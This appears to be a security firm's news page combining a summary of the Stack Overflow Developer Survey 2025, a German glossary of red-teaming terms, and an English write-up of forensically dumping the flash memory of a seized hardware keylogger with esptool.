Kategorie: Themen

Allgemein, KI/ML

Erkenntnisse aus dem Stackoverflow Developer Survey 2025

Jedes Jahr führt die bekannte Plattform Stackoverflow ihren Developer Survey durch. Dieser schafft Einblicke in aktuelle Themen und hilft sowohl Entwickelnden bei der Selbstorientierung, als auch Entscheidungstragenden bei der Strategieplanung.

Viele Fragen zielen wie im Vorjahr auf die Nutzung von KI-Technologien ab, aber es finden sich auch spannende Daten zu benutzten IDEs, Programmiersprachen und Rollenverteilungen. Trotz der vielfältigen Neuerungen der letzten Jahre sind aber auch viele Konstanten zu verzeichnen.

Künstliche Intelligenz ist inzwischen angekommen und wird von 84 % der Befragten bei der Entwicklung eingesetzt, das Vertrauen in die Leistungsfähigkeit ist aber noch verhalten.

Auffällig ist die Anzahl an Teilnehmenden (bzw. gezählten Antworten): Waren es 2024 noch 65 Tausend, wurden in diesem Jahr nur noch 49 Tausend Antworten gezählt. Der Report geht nicht direkt darauf ein, es gibt aber Vermutungen, dass die Anzahl mit der abnehmenden Interaktion mit Stackoverflow korreliert (siehe Link zu gestellten Fragen pro Monat). Die Ergebnisse bleiben aus unserer Sicht dennoch als Stimmungsbild aussagekräftig.

Welche Zahlen haben Sie überrascht? Diskutieren Sie mit uns auf Mastodon (@hisolutions@infosec.exchange).

https://survey.stackoverflow.co/2025

https://data.stackexchange.com/stackoverflow/query/1882534/questions-per-month#graph

Weitere News im August

Penetrationstest, Red Teaming

Red-Team Glossar

Zur Stärkung der digitalen Resilienz hat sich das Durchführen von Penetrationstests in den letzten Jahren als wirksame Methode etabliert. Insbesondere durch DORA sowie die zunehmenden Angriffe staatlicher Akteure gewinnt das Thema „Red-Teaming“ zunehmend an Bedeutung.

Viele Begriffe rund ums „Red-Teaming“ werden jedoch häufig inflationär oder missverständlich verwendet. Das möchten wir an dieser Stelle ordnen.

A

Adversary Emulation

Adversary Emulation imitiert das Verhalten bestimmter realer Bedrohungsakteure (z. B. APT-Gruppen) so genau wie möglich. Dabei werden typische Taktiken, Techniken und Verfahren (TTPs) nachgestellt, basierend auf Erkenntnissen aus der Threat Intelligence. Ziel ist es, die Verteidigungs- und Erkennungsfähigkeiten einer Organisation gegen für sie relevante Angriffsarten gezielt zu testen und gezielt zu verbessern.

Adversary Simulation

Adversary Simulation simuliert potenzielle Angreiferverhalten und Angriffsszenarien, ohne sich dabei strikt an einen bestimmten realen Bedrohungsakteur zu halten. Stattdessen werden allgemeine oder hypothetische Taktiken eingesetzt, um Schwachstellen, Sicherheitslücken und Reaktionsprozesse im Gesamtsystem zu prüfen. Ziel ist es, die Sicherheitslage der Organisation breitflächig zu bewerten und ihre Resilienz gegenüber verschiedenen Angriffsvektoren zu stärken.

Assume Compromise

Bei der Vorgehensweise „Assume Compromise“ wird davon ausgegangen, dass Angreifer bereits Systeme kompromittiert haben (beispielsweise durch 0-day-Schwachstellen in externen Anwendungen, erfolgreiche Phishing-Angriffe, schadhaftes Software-Updates). Sicherheitsüberprüfungen und Tests zielen darauf ab, die Reaktionsfähigkeit und die Widerstandsfähigkeit der Systeme gegen Folgeangriffe zu prüfen und Schwachstellen zu identifizieren, die es Angreifern ermöglichen könnten, sich lateral zu bewegen oder Persistenz aufzubauen.

B

Beaconing

Beaconing bezeichnet das regelmäßige „Anklopfen“ eines kompromittierten Systems an einen Command-and-Control-Server (C2), um Befehle abzurufen oder Statusupdates zu senden. Beacons können in ihrer Frequenz, ihrem Timing und ihren Kommunikationsmethoden variieren, um ihre Erkennung zu erschweren.

BloodHound

BloodHound ist ein Tool, das Active Directory-Umgebungen analysiert. Es visualisiert, wie Angreifer Privilegien innerhalb eines Netzwerks eskalieren können. Durch die Analyse von Benutzer- und Computerbeziehungen hilft BloodHound dabei, Angriffswege (Attack Paths) sichtbar zu machen.

Blue Team

Das Blue Team ist für die Verteidigung einer Organisation verantwortlich. Es erkennt, analysiert und reagiert auf Angriffe oder verdächtige Aktivitäten. Dazu gehören unter anderem die Überwachung der Umgebung, Incident Response, Threat Hunting und die Härtung von Systemen und Prozessen, um Angriffsflächen zu reduzieren.

Beacon Object Files (BOF)

Ein Beacon Object File (BOF) ist ein kompiliertes C/C++-Programm, welches von C2-Frameworks wie Cobalt Strike benutzt und direkt in den Speicher geladen und ausgeführt werden kann. Da BOFs direkt im Prozess eines C2-Implants laufen, sind Sie schwerer zu erkennen als beispielsweise .NET-Tools, die meist mittels Fork&Run einen neuen Prozess erzeugen und die charakteristische Abhängigkeiten wie die clr.dll nachladen müssen.

C

Cobalt Strike

Cobalt Strike ist ein kommerzielles Adversary-Simulation-Tool, das zur Simulation fortgeschrittener Bedrohungen eingesetzt wird. Es bietet Funktionen wie die Verwendung von verschiedenen Protokollen zur Kommunikation mit dem C2-Server sowie die Möglichkeit, Tools in verschiedenen Formaten im Arbeitsspeicher eines Systems auszuführen. Zudem ist es modular anpassbar und wird daher häufig von echten Angreifern missbraucht.

Code Injection

Code Injection ist eine Technik, bei der schädlicher Code in ein laufendes Programm oder Prozess eingeschleust wird, um dessen Verhalten zu verändern. Dies ermöglicht es Angreifern, unautorisierte Befehle oder Code auszuführen und Daten zu manipulieren, indem der Zielprozess manipuliert wird.

Collection

In der Collection-Phase sammeln Angreifer gezielt Daten, die sie später stehlen oder für weitere Angriffe verwenden wollen. Dazu gehören sensible Dokumente, Datenbanken, E-Mails oder andere wertvolle Informationen, die unter anderem im Vorfeld in einer Reconnaissance-Phase identifiziert wurden.

Command and Control (C2)

Command and Control (C2) beschreibt Kommunikationskanäle, über die Angreifer kompromittierte Systeme fernsteuern. Über C2-Infrastrukturen werden Befehle übermittelt, Daten abgezogen oder weitere Schadsoftware nachgeladen. Die Kanäle werden oft getarnt, etwa durch legitime Protokolle oder verschlüsselten Netzwerkverkehr.

Command and Control (C2) Server

Ein C2-Server ist ein zentraler Kontrollpunkt, über den Angreifer oder Red Teams Befehle an kompromittierte Systeme senden und deren Aktionen überwachen. Diese Server koordinieren die Kommunikation zwischen dem Angreifer und den infizierten Endpunkten, und ermöglichen eine strukturierte Durchführung von Angriffen oder Sicherheitstests.

Covenant

Covenant ist ein C2-Framework, das speziell für Red Teaming und Adversary Simulation entwickelt wurde. Es basiert auf .NET und bietet moderne Angriffs- und Steuerungsmöglichkeiten über eine intuitive Weboberfläche. Covenant wird oft eingesetzt, um Angriffe in Windows-Umgebungen realistisch nachzubilden.

Credential Access

Credential Access umfasst Techniken, mit denen Angreifer versuchen, Zugangsdaten wie Passwörter, Tokens oder Schlüssel zu stehlen. Dies kann durch Keylogging, Passwort-Dumping, Credential Stuffing oder das Abgreifen von Zugangsdaten aus Speicher oder Netzwerkverkehr erfolgen.

Credential Dumping

Credential Dumping bezeichnet das Auslesen und Sammeln von Zugangsdaten (wie Passwörter oder Hashes) aus einem kompromittierten System. Typische Ziele sind Speicherbereiche wie der LSASS-Prozess unter Windows oder Passwortdatenbanken, die anschließend für Privilege Escalation oder Lateral Movement genutzt werden.

D

Defense Evasion

Defense Evasion umfasst Techniken die dazu dienen, Sicherheitsmechanismen wie Antivirus/EDR-Systeme oder Logging zu umgehen oder zu deaktivieren. Angreifer versuchen, ihre Aktivitäten zu verschleiern, um eine Erkennung zu vermeiden und länger unbemerkt im Netzwerk zu bleiben.

Discovery

Discovery (Erkundung) bezeichnet Aktivitäten, bei denen Angreifer Informationen über das interne Netzwerk, Systeme und Benutzer sammeln. Ziel ist es, ein Lagebild zu erstellen, um weitere Bewegungen im Netzwerk besser planen zu können – z. B. durch das Auflisten von Hosts, Benutzerkonten oder freigegebenen Ressourcen.

DLL Search Order Hijacking

DLL Search Order Hijacking ist ein Angriff, bei dem eine bösartige DLL (Dynamic Link Library) in einem legitimen Anwendungskontext geladen wird. Dieser Angriff nutzt die laxen Suchpfade von Anwendungen aus, um unerwünschten Code auszuführen, indem eine bösartige DLL bevorzugt geladen wird.

Drive-By Download

Ein Drive-By Download bezeichnet das unbeabsichtigte Herunterladen von Malware beim Besuch einer infizierten oder manipulierten Website. Der Download erfolgt meist ohne aktive Zustimmung oder Interaktion des Nutzers, oft durch das Ausnutzen von Schwachstellen im Browser oder in Plugins.

Dropper

Ein Dropper ist eine spezielle Art von Malware, deren primäre Aufgabe es ist, weitere schädliche Programme (z. B. Backdoors oder Ransomware) auf das Zielsystem zu laden und auszuführen. Dropper tarnen sich oft als harmlose Dateien, um erste Schutzmechanismen zu umgehen.

E

Execution

In der Execution-Phase führen Angreifer bösartigen Code oder Befehle auf einem Zielsystem aus. Ziel ist es, Kontrolle über Systeme zu erlangen oder die Grundlage für weitere Aktionen und Angriffe zu legen. Dies kann durch Malware, Skripte oder missbrauchte legitime Tools geschehen.

Exfiltration

Exfiltration ist die Phase, in dem Angreifer gesammelte Daten unbemerkt aus dem Zielnetzwerk entwenden. Techniken umfassen das Übertragen über verschlüsselte Kanäle, das Verstecken von Daten in legitimen Protokollen oder das Staging auf externen Servern.

Exploit

Ein Exploit ist ein gezieltes Stück Code oder eine Technik, mit der eine Schwachstelle in Software oder Systemen ausgenutzt wird. Durch einen Exploit verschaffen sich Angreifer unautorisierten Zugriff, führen unautorisiert Code aus oder lösen unerwünschtes Verhalten aus, oft als erster Schritt zu einer tieferen Kompromittierung.

Exploitation Chain

Eine Exploitation Chain ist eine Abfolge von Exploits und Techniken, die systematisch eingesetzt werden, um von einem anfänglichen Zugang zu einer vollständigen Kompromittierung eines Systems oder Netzwerks zu gelangen. Diese Kette wird von Angreifern oder Red Teams genutzt, um sich durch das gezielte Ausnutzen von Schwachstellen und die Anwendung fortgeschrittener Techniken in der Umgebung seitwärts oder vorwärts zu bewegen.

H

Havoc

Havoc ist ein Open-Source-Post-Exploitation C2-Framework, das für die Durchführung von komplexer Penetrationstests sowie Red-Team Assessments entwickelt wurde. Es bietet eine modulare Architektur, die es Benutzern erlaubt, eigene Erweiterungen zu schreiben und nahtlos in bestehende Workflows zu integrieren. Es bietet eine grafische Benutzeroberfläche ähnlich zu Cobalt-Strike und wird primär durch C5pider entwickelt. Ende 2025 soll eine neue kommerzielle Version erscheinen.

I

Indicators of Compromise (IoCs)

IoCs sind Daten oder Artifakte, die bei (forensischen) Untersuchungen Hinweise auf eine potenzielle oder bestehende Sicherheitsverletzung liefern. Diese Indikatoren können Dateien, IP-Adressen, Hash-Werte oder ungewöhnliches Netzwerkverkehrsmuster umfassen, die auf die Anwesenheit von Cyberangriffen hindeuten. Das Identifizieren und Analysieren von IoCs spielt eine wesentliche Rolle bei der rechtzeitigen Erkennung von Angriffen sowie um Angriffe im Anschluss zu verstehen.

Initial Access

Initial Access beschreibt eine Phase im Angriffszyklus, in der ein Angreifer erstmals Zugang zu einem Zielsystem oder Netzwerk erhält. Typische Techniken sind Phishing, Ausnutzung von Schwachstellen in externen Anwendungen oder der Missbrauch gestohlener Anmeldedaten.

Initial Foothold

Ein Initial Foothold beschreibt den ersten erfolgreichen Zugangspunkt, den ein Angreifer in einem Zielsystem oder Netzwerk erlangt. Dieser Zugangspunkt wird oft durch die Ausnutzung einer Schwachstelle erreicht und dient als Ausgangspunkt für weiterführende Angriffe, wie Lateral Movement oder den Aufbau von Persistenzmechanismen. Das Erkennen und Sichern dieser Footholds ist entscheidend, um die Ausbreitung eines Angriffs zu verhindern.

L

Lateral Movement

Lateral Movement beschreibt die erfolgreiche Fortbewegung eines Angreifers innerhalb eines Netzwerks auf weitere Systeme. Die gängigsten Protokolle und Tools die dabei genutzt werden sind RDP, SMB, WMI oder PsExec.

Living off the Land (LotL) / Living off the Land Binaries (LOLBins)

„Living off the Land“ bedeutet, dass Angreifer vorhandene, legitime Tools und Funktionen des Betriebssystems nutzen, um beispielsweise Code auszuführen und Aktivitäten zu tarnen.

LOLBins sind legitime Systemdateien oder Skripte, die ursprünglich für administrative oder diagnostische Zwecke entwickelt wurde. Angreifer nutzen diese Dateien jedoch, um schädliche Aktivitäten auszuführen, ohne neue, verdächtige Dateien ins System einzuschleusen. Typische Beispiele sind rundll32.exe, wmic.exe und certutil.exe.

M

Malware

Malware (kurz für „Malicious Software“) ist ein Oberbegriff für alle Arten von Schadprogrammen, die darauf abzielen, Systeme zu schädigen, Daten zu stehlen oder sich unbefugt Zugriff zu verschaffen. Dazu zählen Viren, Trojaner, Ransomware, Spyware und viele andere Varianten.

Metasploit

Metasploit ist eines der bekanntesten Frameworks für Penetrationstests. Es ermöglicht Sicherheitsforschern und Red Teams, Schwachstellen auszunutzen, Payloads zu erstellen und Exploits automatisiert zu testen. Metasploit ist modular aufgebaut und wird auch zur Entwicklung neuer Angriffstechniken genutzt.

Mimikatz

Mimikatz ist ein bekanntes Tool, das entwickelt wurde, um Passwörter, Hashes und andere Authentifizierungsinformationen aus Windows-Systemen auszulesen. Es wird häufig genutzt, um Schwächen in Windows-Sicherheitsmechanismen wie dem Credential Storage und Single Sign-On zu demonstrieren.

MITRE ATT&CK Framework

Das MITRE ATT&CK Framework ist eine umfassende Wissensbasis bekannter Angriffstechniken, die auf realen Beobachtungen von Cyberangriffen basieren. Es dient als Klassifizierungsschema, das Unternehmen hilft, Bedrohungen besser zu verstehen und zu analysieren, um angemessene Verteidigungsmaßnahmen zu entwickeln. Das Framework kategorisiert die Techniken nach den Phasen des Cyberangriffs und ist ein wertvolles Werkzeug für Sicherheitsexperten, um ihre Abwehrmechanismen zu verfeinern und effektive Sicherheitsstrategien zu etablieren.

Mythic

Mythic ist ein Cross-Plattform-Post-Exploitation C2-Framework, das von Red Teams verwendet wird, um Engagements mit hohem Komplexitätsgrad durchzuführen. Es zeichnet sich durch seine benutzerfreundliche Schnittstelle und seine Anpassungsfähigkeit aus, die es Benutzern erlaubt, schnell auf sich ändernde Szenarien zu reagieren. Mythic unterstützt mehrere Kommunikationsprotokolle und ist darauf ausgelegt, möglichst realistische Angriffssimulationen durchzuführen, um die Sicherheitsniveau eines Unternehmens fundiert zu bewerten.

O

Obfuscation

Obfuscation bezieht sich auf Techniken, die den ursprünglichen Code oder Inhalte verschleiern, um die Erkennung durch Sicherheitssysteme zu vermeiden. Diese Techniken erschweren die Analyse und Erkennung von Malware und sind ein häufig genutztes Mittel, um sich unbemerkt im Netzwerk fortzubewegen oder Code auszuführen.

Offensive Security ist ein Bereich der IT-Sicherheit, der gezielt aktive Angriffe simuliert, um Schwachstellen frühzeitig zu identifizieren und Sicherheitslücken aufzudecken. Zu den typischen Methoden zählen Red-Teaming, Penetration Testing, Exploit-Entwicklung sowie Adversary Emulation und Simulation. Ziel ist es, Organisationen besser auf reale Bedrohungen vorzubereiten, indem Schwachstellen identifiziert und behoben werden ggf. IoCs zur rechtzeitigen Erkennung abgeleitet werden können, bevor ein echter Angriff stattfindet.

OPSEC (Operational Security)

OPSEC ist eine Prozessmethode, die dazu dient, vertrauliche Informationen vor unautorisiertem Zugriff zu schützen, indem potenziell anfällige Informationen identifiziert und entsprechende Schutzmaßnahmen implementiert werden. Im Kontext von Red Teaming umfasst OPSEC Maßnahmen zur Sicherstellung, dass die Aktivitäten des Teams unentdeckt bleiben.

P

Payload

Ein Payload ist das, was passiert, wenn der Angriff „funktioniert“. Payloads können verschiedene Funktionen erfüllen, etwa eine Hintertür installieren, weitere Schadsoftware nachladen, Systeminformationen stehlen oder Dateien verschlüsseln.

Penetration Testing (Pentest)

Angekündigte, breite und manuelle Prüfung zur Identifikation von Schwachstellen in Web-Anwendungen, Netzwerken, Infrastrukturen, …
Der Fokus liegt auf der Entdeckung technischer Sicherheitslücken in den getesteten Systemen.

Persistence

Persistence umfasst Maßnahmen, die es Angreifern ermöglichen, nach einem Neustart oder bei einer Unterbrechung weiterhin Zugriff auf ein kompromittiertes System zu behalten. Beispiele sind das Einrichten von Backdoors, das Modifizieren von Autostart-Einträgen oder das Einfügen von Schadcode in legitime Dienste.

Persistence Mechanisms

Persistence Mechanisms beziehen sich auf Techniken, die von Angreifern oder Red Teams eingesetzt werden, um dauerhaft Zugriff auf ein kompromittiertes System zu behalten. Diese Techniken können geplante Aufgaben, Registry-Einträge oder andere Methoden umfassen, die sicherstellen, dass der Code auch nach einem Neustart des Systems aktiv bleibt.

Phishing

Phishing ist eine Form des Social Engineerings, bei dem Nutzer über gefälschte Nachrichten (z. B. E-Mails) dazu verleitet werden sollen, sensible Informationen preiszugeben, auf schädliche Links zu klicken oder bösartige Programme auszuführen. Ziel ist häufig der Diebstahl von Anmeldedaten oder einen Initial Foothold auf einem System zu bekommen.

Pivoting

Pivoting beschreibt die Technik, nach dem ersten Zugriff auf ein System dieses als Sprungbrett zu verwenden, um sich im Netzwerk weiterzubewegen. Das kompromittierte System wird dabei genutzt, um Zugriff auf andere interne Systeme zu erhalten, die beispielsweise von externen Systemen nicht direkt erreichbar sind.

Privilege Escalation

In viele Definitionen bezeichnet (vertikale) Privilege Escalation, dass Angreifer versuchen, ihre Berechtigungen auf einem kompromittierten System zu erhöhen. Ziel ist es, von einem eingeschränkten Benutzerkonto zu administrativen Rechten (z. B. root oder SYSTEM) zu gelangen, um mehr Kontrolle und Möglichkeiten für weitere Aktionen zu erhalten.
Diffenziert muss man allerdings noch die horizontale Privilege Escalation betrachten, bei der versucht wird, auf weitere Ressourcen (beispielsweise einen weiteren Account) desselben Berechtigungslevels zuzugreifen.

Process Hollowing

Process Hollowing ist eine spezielle Injection-Technik, bei der der Inhalt eines legitimen Prozesses durch schädlichen Code ersetzt wird. Dies hilft Angreifern, ihre Aktivitäten als legitime Prozesse zu tarnen und Erkennungssysteme zu umgehen.

Purple Team

Ein Purple Team verbindet die Perspektiven von Red und Blue Team. Es fördert gezielt die Zusammenarbeit zwischen Angreifern und Verteidigern, um die Effektivität beider Seiten zu steigern. Oft werden Angriffe bewusst gemeinsam geplant und durchgeführt, um Detektionsmechanismen zu testen und unmittelbar Verbesserungen in der Verteidigung umzusetzen.

R

Reconnaissance

Reconnaissance (Aufklärung) bezeichnet meistens die erste Phase eines Angriffs, bei der Informationen über ein Ziel gesammelt werden, welche in späteren Phasen Verwendung finden. Dies umfasst z. B. das passive Sammeln von öffentlich verfügbaren Daten (OSINT), das aktive Scannen von IP-Adressen oder das Ermitteln von Informationen von Mitarbeitenden zur späteren Ausnutzung.

Red-Teaming

Meist verdeckte Nutzung realistischer Taktiken, Techniken und Prozeduren (TTPs) unter Einsatz technischer, physischer und Social-Engineering-Komponenten. Ziel ist es, die Sicherheit bestehender Prozesse, Abwehrmaßnahmen und Systeme umfassend zu testen und zu verifizieren, indem sowohl technische als auch menschliche Schwachstellen berücksichtigt werden.

Red Team Operations Manual (RTOM)

Das Red Team Operations Manual (RTOM) ist eine umfassende Dokumentation, die Richtlinien und Protokolle für die Durchführung von Red Team Operationen enthält. Es beschreibt die Standards, Verfahren und Best Practices, die in Simulationen und Sicherheitsbewertungen von einem Red Team angewendet werden, um konsistente und effektive Tests sicherzustellen. Ein gut entwickeltes RTOM unterstützt die Teams bei der Planung, Durchführung und Bewertung von Sicherheitsoperationen und trägt zur Professionalisierung und Effektivität von Red Team Einsätzen bei.

Reflective DLL Injection

Reflective DLL Injection ist eine Technik, bei der eine DLL direkt in den Speicher eines laufenden Prozesses injiziert wird, ohne dass sie im Dateisystem vorhanden sein muss. Diese Methode erlaubt es, Erkennungssysteme zu umgehen und die Injektion von Code unauffällig durchzuführen.

Remote Code Execution (RCE)

Remote Code Execution bezeichnet eine Sicherheitslücke, die es Angreifern ermöglicht, beliebigen Code auf einem entfernten System auszuführen. RCE-Schwachstellen zählen zu den gefährlichsten, da sie direkten Zugriff auf Systeme gewähren können – oft ohne Benutzerinteraktion.

Reverse Shell

Eine Reverse Shell ist ein Angriffstyp, bei dem das Zielsystem eine Verbindung zu einem entfernten Server aufbaut und dem Angreifer Kontrolle über die Kommandozeile gewährt. Dadurch kann der Angreifer Befehle direkt auf dem kompromittierten System ausführen, auch wenn Firewalls eingehenden Datenverkehr blockieren.

Rubeus

Rubeus ist ein vielseitiges, auf C# basierendes Werkzeug zur Interaktion mit dem Kerberos-Authentifizierungsprotokoll. Es wird oft von Red Teams eingesetzt, um Sicherheitslücken in Kerberos-Umgebungen aufzudecken, indem es Angriffstechniken wie Ticket-Granting Ticket (TGT) Extraction, Pass-the-Ticket und Kerberoasting ermöglicht. Mit Rubeus können Schwachstellen in der Implementierung von Kerberos ausgenutzt werden, um potenziellen unbefugten Zugang aufzuzeigen.

Rules of Engagement (RoE)

Die Rules of Engagement (RoE) sind ein Satz von vereinbarten Richtlinien und Rahmenbedingungen, die den Umfang und die Grenzen eines Red Team Assessments oder einer Penetrationstest-Übung definieren. Sie legen fest, welche Methoden erlaubt sind, welche Systeme oder Daten tabu sind, und wie Kommunikation erfolgen soll. Die RoE sind essenziell, um Missverständnisse zu vermeiden und sicherzustellen, dass die Tests sicher, legal und abgestimmt auf die Ziele der Organisation durchgeführt werden.

S

Schwachstellenscan

Automatisierte, breit angelegte Untersuchung von IT-Systemen zur Identifikation öffentlich bekannter Schwachstellen. Der Fokus liegt auf der schnellen und automatisierten Erkennung potenzieller Sicherheitslücken durch einen Abgleich mit Schwachstellendatenbanken, ohne manuelle Verifikation, Ausnutzung oder tiefergehende Analyse.

Shellcode

Shellcode ist sogenannter Position-Idependent-Code (PIC), der unabhängig von seiner Position im Speicher ausgeführt wird. Viele Implants von den meisten C2-Frameworks werden als Shellcode ausgeliefert.

Sliver

Sliver ist eine Open-Source-Kommandozeilenbasierte C2 Plattform, die von Sicherheitsforschern und Red Teams genutzt wird, um Penetrationstests und Red-Team-Assessments durchzuführen. Es unterstützt plattformübergreifende Operationen und bietet Funktionen wie verschlüsselte Kommunikation, Agenten für verschiedene Betriebssysteme und eine Vielzahl von Post-Exploitation-Tools. Es zielt darauf ab, kommerzielle Alternativen herauszufordern, indem es eine umfassende und flexible Lösung für offensive Sicherheitsmaßnahmen bietet.

Social Engineering

Social Engineering ist die Manipulation von Personen, um vertrauliche Informationen preiszugeben oder sicherheitskritische Handlungen auszuführen. Dabei wird oft das Vertrauen, die Hilfsbereitschaft oder die Angst der Zielperson ausgenutzt, um technische Sicherheitsmaßnahmen zu umgehen.

Spear Phishing

Spear Phishing ist eine gezielte Form des Phishings, bei der Angreifer ihre Nachrichten individuell auf die Zielperson oder Organisation zuschneiden. Durch die Verwendung personalisierter Informationen wirken die Angriffe glaubwürdiger und haben eine höhere Erfolgsquote als breit gestreute Phishing-Kampagnen.

T

Tactics, Techniques, and Procedures (TTPs)

TTPs sind reale Taktiken, Techniken und Prozeduren, die von Cyberangreifern verwendet werden, um ihre Ziele zu erreichen. „Taktiken“ beschreiben die übergeordneten Ziele eines Angriffs, „Techniken“ spezifizieren die Mittel zur Erreichung dieser Ziele und „Verfahren“ umfassen die spezifischen Methoden, die für die Implementierung der Techniken verwendet werden. Das Verständnis von TTPs ist entscheidend für die Erkennung und Abwehr von Bedrohungen, da es Sicherheitsteams ermöglicht, Angriffsmethoden zu antizipieren und proaktive Maßnahmen zu ergreifen.

Threat Hunting

Threat Hunting ist der proaktive Prozess der Suche nach Anzeichen von bösartigem Verhalten in einem Netzwerk, die von traditionellen Sicherheitstools möglicherweise nicht erkannt werden. Es beinhaltet die manuelle oder halbautomatische Analyse von Netzwerkverkehr, Logs und anderen Daten, um potenzielle Bedrohungen zu entdecken und zu neutralisieren, bevor sie Schaden anrichten können. Threat Hunter arbeiten oft eng mit Red Teams zusammen, um die Entdeckungsfähigkeiten laufend zu verbessern.

TLPT (Threat-Led Penetration Testing)

Threat-Led Penetration Testing ist eine besonders realistische Form des Penetration Tests, die auf aktuellen Bedrohungsszenarien basiert. Statt allgemein Schwachstellen zu suchen, orientiert sich TLPT an tatsächlichen Taktiken und Techniken relevanter Angreifergruppen.

Tunneling

Tunneling ist die Technik, legitime Protokolle (wie HTTPS, DNS oder SSH) zu verwenden, um den Command-and-Control-Traffic zu verstecken oder Netzwerksperren zu umgehen. Dadurch können Angreifer ihre Kommunikation verschleiern und bestehende Sicherheitskontrollen überwinden.

V

Vulnerability Assessment

Ein Vulnerability Assessment ist die systematische Identifikation und Bewertung von Schwachstellen in einer IT-Umgebung. Im Gegensatz zu einem Penetrationstest wird hier üblicherweise nicht versucht, Schwachstellen auszunutzen, sondern sie nur aufzudecken und zu priorisieren. Der Fokus liegt auf einem umfassenden Überblick über die aktuell erreichbare Angriffsfläche.

W

Watering Hole Attack

Bei einer Watering Hole Attack kompromittieren Angreifer eine legitime Website, die von ihren eigentlichen Zielen regelmäßig besucht wird. Nutzer werden dadurch unbemerkt infiziert, wenn sie die manipulierte Seite aufrufen. Ziel ist es, Angriffe auf bestimmte Gruppen oder Organisationen möglichst unauffällig zu platzieren.

Allgemein, Forensics, Weiterbildung

A Tale of Practical Keylogger Forensics

On a recent engagement, an interesting hardware side quest popped up. A client had found a keylogger and, naturally, we wanted to know what the adversary had seen and if we could gather any useful traces towards the perpetrator.

Since our analysis included some twists, we decided to document parts of our process to perform a forensic analysis on a keylogger. We hope to shed some light on the forensic possibilities and encourage others to expirement with similar hardware.

Passive Reconnaissance

Hardware keyloggers come in various shapes and sizes. The one we got, that was yanked from a computer in a public area, was no larger than a fingernail. To some surprise it was 3D printed, as the layers were visible.

Of course, our first goal was be to identify the device in front of us. What is it capable of? Is there any sort of documentation we can leverage? And although it looks just like any other keylogger, we started with some passive reconnaissance to confirm our first assumption.

To our amusement, finding the exact model and documentation was just a single image search away. Simply taking a picture and using reverse image search, we immediately identified the „KeyGrabber Air“.

At this point we had a rough idea of what this device could do. Most notably, it could be used for:

  • Capturing and storing keystrokes (no injection)
  • Open a WLAN to host a web interface that shows settings and keystrokes
  • Connect to a WLAN to send keystrokes via FTP or SMTP

Active Reconnaissance

After powering on the device via the USB port, we noticed a new WLAN appear with the SSID „AP001“. This matched the documentation we found earlier. However, the network required a password and it was neither a common password such as „password“ or any other default credential we could find in the documentation. We also could not identity any sort of key combination (such as K+B+S) that would grant us administrative access, as it has been the case with other keyloggers.

Hence, we asked for permission to apply some more intrusive techniques. Once we received a thumbs up from the client, we opened the case and got to the circuitry.

As the figure above shows, there are only two core components on the board. On the bottom left you can see an ATMEL AT91SAM7S32 MU and on the right an ESP8285. The data lines from the USB ports are directly connected to the AT91SAM7S32, which indicates that this chip may be responsible for parsing the differential signals and extracting the key values. Of more interest to us is the ESP8285 which is a common chip for wireless applications and also connects to a small antenna on the PCB.

Unfortunately, neither the connectors (golden circles) in the middle, nor a direct connection with a Sensepeek PCBite to the ESP gave us access to the chip. Our assumption is that the passive components and connections on the board interfered with our attempts to communicate with the ESP8285 directly.

Our goal was to hook up to UART, the debug interface of the chip, to dump its memory. Thus, we once again asked for permission to proceed and were given the green light to desolder the ESP. Word of caution: make sure to check the datasheet of the components you want to desolder for allowed temperatures in advance to avoid the risk of damaging anything. A small nozzle and a rather low airflow prevents the passive components on the side from getting blown away. I can also recommend preheating the board, to heat large ground pads.

Since the ESP is tiny and needs some passive components to function, we decided that it would be easiest to just install it on a developer board for easy access. Thus, we got ourselves a cheap dev-kit like this:

This set exposes the UART interface (board on the right) and includes a UART to USB converter (left).

We desoldered the original chip, replaced it with the one we got from the keylogger and connected the board to a computer. Now, we could use esptool to finally dump the memory of the ESP. Note that the ESP8285 has an internal flash memory. Other chips may use an external flash chip, so you may be able to access the storage directly and don’t need to deal with the ESP/esptool.

With esptool we need the Baudrate (115200 is the default for this chip), the path to the USB device, the command (read_flash), a start address (0), the amount of bytes to read (in case of the ESP8285 flash that is 1 Megabyte) and a filename to store the contents.

$ esptool -b 115200 --port /dev/ttyUSB0 read_flash 0x0 0x100000 flash_1M_esp.bin
espool.py v4.7.0
Serial port /dev/ttyUSB0
Connecting....
Detecting chip type... Unsupported detection protocol, switching and trying again
Connecting...
Detecting chip type... ESP8266
Chip is ESP8285H16
Features: WiFi, Embedded Flash
Crystal is 26MHz
Uploading stub...
Running stub...
Stub running...
315392 (30%)

When esptool finished without errors, we had the entire flash content in a file.

Analysing the dump

As with any other binary file, we can save ourselves alot of trouble by just extracting all readable strings and start analysing them, before doing any reversing. However, the strings output on the binary showed tons of:

[N][+N][+N][+N]´[+N]´[+N][+N]´[+N][+N][+N][+N][+N]dckjhe^[+N]´x[+N]´[+N]´c[+N]´[+N]´[+N][+N][+N]a,[+N][F5]x[+N][+N][+N][+N]a,bsc[+N]a,[+N][+N][+N][+N]a,a,[+N][+N][+N][+N]a,[+N]c´[+N][+N][+N][+N]e^dc[+N][+N][+N][+N]´[+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N]xx´[+N][+N][+N]bs[+N]a,a,[+N]c[+N][+N][+N]a,[+N][+N]c[+N][+N]a,[+N]bsa,[+N]´[+N]´[+N][+N]´[+N]´´[+N][+N][+N][+N][+N][+N]a,[+N][+N][+N]bsa,a,[+N]a,[+N][+N][+N][+N][+N]a,[+N]a,[+N][+N][+N]´[+N][+N][+N][+N]´[+N]´[+N]´[+N][+N]bsa,[+N]´[+N][+N][+N][+N]´[+N][+N][+N][+N][+N][+N]´[+N]a,[+N][+N][+N][+N]´[+N][+N][+N][+N][+N][+N]a,[+N][+N][+N][+N][+N][+N][+N][+N][+N]a,[+N][+N]´[+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N][+N]
[+N]x[PUp][+N][+N][+N][+N]bsa,bs[+N][+N]a,bs[+N]c[+N][+N]´[+N][+N]´[+N][+N][+N]a,[+N]ca,

At first we were optimistic. There were strings like [LCtrl][Rgh]cbscbs[+N][LCtrl] which seemed like valid keystrokes. But the longer we studied the output, we could only make less and less sense of it. We thought, maybe the contents were encoded or maybe the memory got corrupted along the way.

The initial feeling of success was followed by the depressing realisation that the output was useless. However, motivation quickly came back when we found the following intact and readable configuration in the strings output:

ap_name
AP001
ap_password
*******[redacted]

